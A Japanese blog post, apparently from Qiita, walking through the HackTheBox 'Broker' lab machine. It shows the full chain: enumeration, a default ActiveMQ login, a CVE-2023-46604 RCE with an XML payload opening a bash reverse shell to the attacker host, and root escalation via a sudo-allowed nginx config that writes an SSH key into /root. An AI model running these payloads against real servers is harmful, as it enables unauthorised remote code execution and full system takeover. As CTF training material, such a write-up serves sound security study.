3
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

HackTheBox Broker WriteUp

Last updated at Posted at 2024-04-28

今回はHackTheBoxのEasyマシン「Broker」のWriteUpです!
名前からはどのようなマシンかあまりわかりませんね。攻略目指して頑張ります!

image.png

グラフはいい感じにきちんとEasyな感じですね。
さくっと攻略していきたいところです!

HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Broker

列挙

それでは、攻略を始めていきましょう!
いつものようにnmapから実行していきます。

+[~/broker]
(σ▰>∇<)σ<10.10.14.4>$ sudo nmap -Pn -sVC --min-rate=1000 -v -p- 10.10.11.243

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
1883/tcp  open  mqtt
|_mqtt-subscribe: Failed to receive control packet from server.
5672/tcp  open  amqp?
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     AMQP
|     AMQP
|     amqp:decode-error
|_    7Connection from client using unsupported AMQP attempted
8161/tcp  open  http       Jetty 9.4.39.v20210325
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
|_http-server-header: Jetty(9.4.39.v20210325)
37463/tcp open  tcpwrapped
61613/tcp open  stomp      Apache ActiveMQ
| fingerprint-strings: 
|   HELP4STOMP: 
|     ERROR
|     content-type:text/plain
|     message:Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
|     org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
|     org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
|     org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
|     org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_    java.lang.Thread.run(Thread.java:750)
61614/tcp open  http       Jetty 9.4.39.v20210325
| http-methods: 
|   Supported Methods: GET HEAD TRACE OPTIONS
|_  Potentially risky methods: TRACE
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-title: Site doesnt have a title.
61616/tcp open  apachemq   ActiveMQ OpenWire transport
| fingerprint-strings: 
|   NULL: 
|     ActiveMQ
|     TcpNoDelayEnabled
|     SizePrefixDisabled
|     CacheSize
|     ProviderName 
|     ActiveMQ
|     StackTraceEnabled
|     PlatformDetails 
|     Java
|     CacheEnabled
|     TightEncodingEnabled
|     MaxFrameSize
|     MaxInactivityDuration
|     MaxInactivityDurationInitalDelay
|     ProviderVersion 
|_    5.15.15

結構多くのポートが開いていますね。列挙が多くなりそうですが、とりあえず80番からアクセスしてみましょう。

image.png

Basic認証が使用されています。認証情報はまだ持っていないので、とりあえずadmin / adminを入力してみましょう。

image.png

認証に成功してしまいました!なるほど。Easyマシンという感じがしますね笑
ActiveMQへアクセスができたので、Manage ActiveMQ brokerを押下してみます。

image.png

Brokerの情報が表示されました。

CVE-2023-46604

さらに、ActiveMQのバージョンが5.15.15であることがわかりました。脆弱性がないかGoogleで調べてみると、以下の記事を発見しました。

記事によると、ActiveMQ5.15.15にはRCEの脆弱性が存在するようです。この脆弱性の発火にはOpenWireがListenされている必要があるようですが、今回は61616番ポートでオープンしているので要件を満たしていそうです。

概要 : CVE-2023-46604
この脆弱性では、ClassPathXmlApplicationContextクラスをインスタンス化する際の引数「configLocation」にXMLファイルを指定することを悪用します。指定したXMLファイルのProcessBuilderクラスのstartメソッドにコマンドを設定することで実行が可能になります。

記事の中ではechoコマンドで新たにファイルを作成していますが、この部分をリバースシェルを返すコマンドに変更することで初期侵入を行いたいと思います。
まずは、記事の中で使用されているGitHubをCloneしていきます。

+[~/broker]
(σ▰>∇<)σ<10.10.14.4>$ git clone https://github.com/X1r0z/ActiveMQ-RCE.git                                            
Cloning into 'ActiveMQ-RCE'...
remote: Enumerating objects: 29, done.
remote: Counting objects: 100% (29/29), done.
remote: Compressing objects: 100% (15/15), done.
remote: Total 29 (delta 12), reused 29 (delta 12), pack-reused 0
Receiving objects: 100% (29/29), 7.52 KiB | 7.52 MiB/s, done.
Resolving deltas: 100% (12/12), done.

実行できたらXMLファイルを書き換えていきます。

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>bash -i &gt;&amp; /dev/tcp/10.10.14.4/2121 0&gt;&amp;1</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

書き換えに完了したら、リバースシェルの待ち受けとWEBサーバを起動します。

> Rev Shell
+[~/broker/ActiveMQ-RCE]
(σ▰>∇<)σ<10.10.14.4>$ nc -lnvp 2121
listening on [any] 2121 ...

> WEB
+[~/broker/ActiveMQ-RCE]
(σ▰>∇<)σ<10.10.14.4>$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

これで準備万端です!

activemq としてのシェル

それでは実行していきましょう!

+[~/broker/ActiveMQ-RCE]
(σ▰>∇<)σ<10.10.14.4>$ go run main.go -i 10.10.11.243 -u http://10.10.14.4/poc.xml
     _        _   _           __  __  ___        ____   ____ _____ 
    / \   ___| |_(_)_   _____|  \/  |/ _ \      |  _ \ / ___| ____|
   / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | |   |  _|  
  / ___ \ (__| |_| |\ V /  __/ |  | | |_| |_____|  _ <| |___| |___ 
 /_/   \_\___|\__|_| \_/ \___|_|  |_|\__\_\     |_| \_\\____|_____|

[*] Target: 10.10.11.243:61616
[*] XML URL: http://10.10.14.4/poc.xml

[*] Sending packet: 0000006c1f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874010019687474703a2f2f31302e31302e31342e342f706f632e786d6c

実行に成功していそうです。待ち受けを確認しましょう。

+[~/broker/ActiveMQ-RCE]
(σ▰>∇<)σ<10.10.14.4>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.243] 34112
bash: cannot set terminal process group (887): Inappropriate ioctl for device
bash: no job control in this shell
activemq@broker:/opt/apache-activemq-5.15.15/bin$ whoami
whoami
activemq

初期侵入に成功しました!

activemq@broker:~$ ls -l
ls -l
total 4
-rw-r----- 1 root activemq 33 Apr 28 14:25 user.txt

ユーザフラグも取得できました!

権限昇格

それではここから権限昇格を目指していきましょう!
まずはsudo -lを実行していきます。

activemq@broker:~$ sudo -l
Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

nginxrootユーザの権限で実行できるみたいです。
この設定の場合、ルートディレクトリ(/)をWEBルートとすることで、様々なファイルにアクセスでき、PUTメソッドを許可することでファイルを作成することが可能です。

Exploit Nginx

それでは権限昇格を行っていきましょう。以下のような設定ファイルを用意します。

activemq@broker:~$ cat root.conf
user root;
events {
	worker_connections 1024;
}
http {
	server {
		listen 2122;
		root /;
		autoindex on;
		dav_methods PUT;
	}
}

今回はサーバを2122番ポートで起動するようにしました。
この設定ファイルを指定し、sudo nginxを実行していきましょう。

activemq@broker:~$ sudo /usr/sbin/nginx -c /home/activemq/root.conf

これでサーバが起動できたので、curlでアクセスしてみましょう。

activemq@broker:~$ curl http://localhost:2122
<html>
<head><title>Index of /</title></head>
<body>
<h1>Index of /</h1><hr><pre><a href="../">../</a>
<a href="bin/">bin/</a>                                               06-Nov-2023 01:10                   -
<a href="boot/">boot/</a>                                              06-Nov-2023 01:38                   -
<a href="dev/">dev/</a>                                               28-Apr-2024 14:25                   -
<a href="etc/">etc/</a>                                               07-Nov-2023 06:53                   -
<a href="home/">home/</a>                                              06-Nov-2023 01:18                   -
<a href="lib/">lib/</a>                                               06-Nov-2023 00:57                   -
<a href="lib32/">lib32/</a>                                             17-Feb-2023 17:19                   -
<a href="lib64/">lib64/</a>                                             05-Nov-2023 02:36                   -
<a href="libx32/">libx32/</a>                                            17-Feb-2023 17:19                   -
<a href="lost%2Bfound/">lost+found/</a>                                        27-Apr-2023 15:40                   -
<a href="media/">media/</a>                                             06-Nov-2023 01:18                   -
<a href="mnt/">mnt/</a>                                               17-Feb-2023 17:19                   -
<a href="opt/">opt/</a>                                               06-Nov-2023 01:18                   -
<a href="proc/">proc/</a>                                              28-Apr-2024 14:25                   -
<a href="root/">root/</a>                                              28-Apr-2024 14:25                   -
<a href="run/">run/</a>                                               28-Apr-2024 14:25                   -
<a href="sbin/">sbin/</a>                                              06-Nov-2023 01:10                   -
<a href="srv/">srv/</a>                                               06-Nov-2023 01:18                   -
<a href="sys/">sys/</a>                                               28-Apr-2024 14:25                   -
<a href="tmp/">tmp/</a>                                               28-Apr-2024 14:40                   -
<a href="usr/">usr/</a>                                               17-Feb-2023 17:19                   -
<a href="var/">var/</a>                                               05-Nov-2023 01:43                   -
</pre><hr></body>
</html>

ルートディレクトリへアクセスできるようになっています!
正直この状態でもルートフラグを読むことはできるのですが、ここからSSH公開鍵を/root/.ssh配下に作成し、SSH接続を行っていきます。

activemq@broker:~$ curl -X PUT localhost:2122/root/.ssh/authorized_keys -d 'ssh-rsa <id_rsa.pub>'

実行できたら準備万端です!

root としてのシェル

それではSSH接続を行いましょう!

+[~/.ssh]
(σ▰>∇<)σ<10.10.14.4>$ ssh -i id_rsa root@10.10.11.243

root@broker:~# whoami
root

権限昇格に成功しました!

root@broker:~# ls -l
total 8
-rwxr-xr-x 1 root root 517 Nov  7 08:15 cleanup.sh
-rw-r----- 1 root root  33 Apr 28 14:25 root.txt

ルートフラグも取得できました!完全攻略達成です!

攻略を終えて

今回のマシンは個人的にかなり好きなマシンでした!ActiveMQのリモートコマンド実行、nginxの権限昇格、どちらもカスタマイズにより様々な方法で攻撃を行うことができ、色々と試す機会になりました。特にnginxの権限昇格は、設定ミスではありますがnginx本来の挙動に沿ったものであり、nginxの仕組みをさらに理解することに繋がりました。
やはり必要ではない権限は付与しないということが大切ですね。
今後もHackTheBoxのWriteUpを公開していきますので、見ていただけると嬉しいです!
最後まで見ていただき、ありがとうございました~~!

3
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?